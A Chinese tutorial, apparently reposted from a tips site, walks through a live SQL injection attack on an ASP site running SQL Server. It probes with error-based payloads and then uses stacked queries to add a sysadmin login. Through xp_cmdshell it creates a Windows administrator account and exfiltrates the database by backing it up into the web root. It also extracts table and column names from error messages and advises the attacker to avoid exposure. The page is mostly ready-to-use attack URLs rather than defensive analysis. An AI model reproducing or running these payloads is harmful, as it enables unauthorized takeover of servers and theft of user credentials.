SQL注入实战---利用“dbo”获得SQL管理权限和系统权限

2016-01-29 16:36 7 1 收藏

SQL注入实战---利用“dbo”获得SQL管理权限和系统权限,SQL注入实战---利用“dbo”获得SQL管理权限和系统权限

【 tulaoshi.com - SQLServer 】

 

作者:覆灭之魔 文章来源:影子鹰安全网络

刚刚开始学习SQL注入入侵,有写的不对和不好的地方希望各位师哥,师姐们多多指导。

在一个供求信息发布的网站上测试了一下,页面Http://www.xxx.com/new/new.asp?id=49

我做了如下测试:(1) Http://www.xxx.com/new/new.asp?id=49'

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14
[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误
在查询表达式 'ID=49'' 中。
/new.asp,行36

(2) Http://www.xxx.com/new/new.asp?id=49 and 1=1
(正常返回页面)

(3) Http://www.xxx.com/new/new.asp?id=49 and 1=2
Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd'
BOF 或 EOF 中有一个是"真",或者当前的记录已被删除,所需的操作要求一个当前的记录。
/new.asp,行42

注:上面的测试已经可以看出有SQL注入的机会,我们用下面一个句子来判断他数据库类型和登陆身份。
Http://www.xxx.com/new/new.asp?id=49 and user0
Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd'
将nvarchar值 "dbo" 转换数据类型为 int 的列时发生语法错误
/new.asp,行42
注:如果显示"dbo" 转换数据类型为 int 的列时发生语法错误 那么就可以用我下面介绍的方法来获得系统管理权限,如果是"abc" 转换数据类型为 int 的列时发生语法错误 那么就用不能用我下面的介绍来获得系统权限了。

获得以上信息后,就可以提交以下URL来一步一步的获得SQL管理员权限和系统权限了。

(1) Http://www.xxx.com/new/new.asp?id=49;exec
aster.dbo.sp_addlogin fmzm;--
添加SQL用户

(2) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_password null,fmzm,fmzm;--
设置SQL帐号FMZM 的密码为 FMZM

(3) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_addsrvrolemember sysadmin fmzm;--

提升权限:加FMZM进sysadmin管理组(有时候会不成功,就常识下面的句子
;exec master.dbo.sp_addsrvrolemember fmzm,sysadmin-- 为什么会这样,我也不清清楚,我就遇到了?栽 。。。)

(4) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
建立一个系统用FMZM 并设置其密码为FMZM
(注:/workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes 这些很关键,如果不加这些,你建立的用户很有可能无法登陆,这些是启用你的帐号,并且使密码永不过期的一些相关设置。)

(5) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add';--

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/sqlserver/)

把帐号FMZM加入到管理员组

OK,到此为止,已经得到了SQL管理权限和系统权限了,还有什么不能做的呢?把上面的句子变个形 开个TELNET,或者用SQL连接器去连接,随便你怎么整了,记得别暴露自己哦 :)目前有些好的IDS已经开始监视xp_cmdshell这些关键字了.


附:
(1) http://Site/url.asp?id=1 ;;and db_name()0

前面有个类似的例子and user0,作用是获取连接用户名,db_name()是另一个系统变量,返回的是连接的数据库名。

(2) http://Site/url.asp?id=1;backup database 数据库名 to disk='c:inetpubwwwroot1.db';--

这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来,所有的管理员及用户密码都一览无遗!在不知道绝对路径的时候,还可以备份到网络地址的方法(如202.96.xx.xxShare1.db),但成功率不高。

   (3) http://Site/url.asp?id=1 ;;and (select Top 1 name from sysobjects where xtype='U' and status0)0

sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。第二、第三个表名怎么获取?还是可以
自己考虑下。

(4) http://Site/url.asp?id=1 ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)0

(本文来源于图老师网站,更多请访问http://www.tulaoshi.com/sqlserver/)

从(3)拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。

 

来源:http://www.tulaoshi.com/n/20160129/1499068.html

延伸阅读
标签: SQLServer
;exec master..xp_cmdshell "net user name password /add"-- ;exec master..xp_cmdshell "net localgroup administrators name /add"-- 程序代码开启cmdshell的SQL语句 EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' 判断存储扩展是否存在 select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmds...
标签: Web开发
' 以下为在asp中增加一个sql server2000用户函数,并为建立一个数据库,给他dbo的权限 ' ****************注意:sql server的验证方式不要选仅为windows方式, ' **************** 允许远程sql server连接 ' ****************该函数已通过测试**************************** ' ...
标签: SQLServer
Sybase中的用户分为两种:SQL服务器用户(登录帐号)和数据库用户。 安装完SQL服务器后,系统自动建立一个SQL服务器用户sa,口令为空,即系统管理员,他对整个系统有操作权,其他用户均由系统管理员建立。 在SQL Server中有三种特殊的用户:系统管理员、用户数据库所有者(建立相应数据库的数据库用户)DBO、一般用户。系统管理员对整个系统有...
标签: SQLServer
SQL Server上内置了加密术用来保护各种类型的敏感数据。在很多时候,这个加密术对于你来说是完全透明的;当数据被存储时候被加密,它们被使用的时候就会自动加密。在其他的情况下,你可以选择数据是否要被加密。SQL Server可以加密下列这些组件: ·密码 ·存储过程,视图,触发器,用户自定义函数,默认值,和规则。 ·在服务器和用户之间...
标签: SQLServer
1. 查看数据库的版本     select @@version     常见的几种SQL SERVER打补丁后的版本号:     8.00.194   Microsoft SQL Server 2000   8.00.384   Microsoft SQL Server 2000 SP1   8.00.532   Microsoft SQL Server 2000 SP2   8.00.760   Microsoft SQL Server 200...

经验教程

957

收藏

41
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部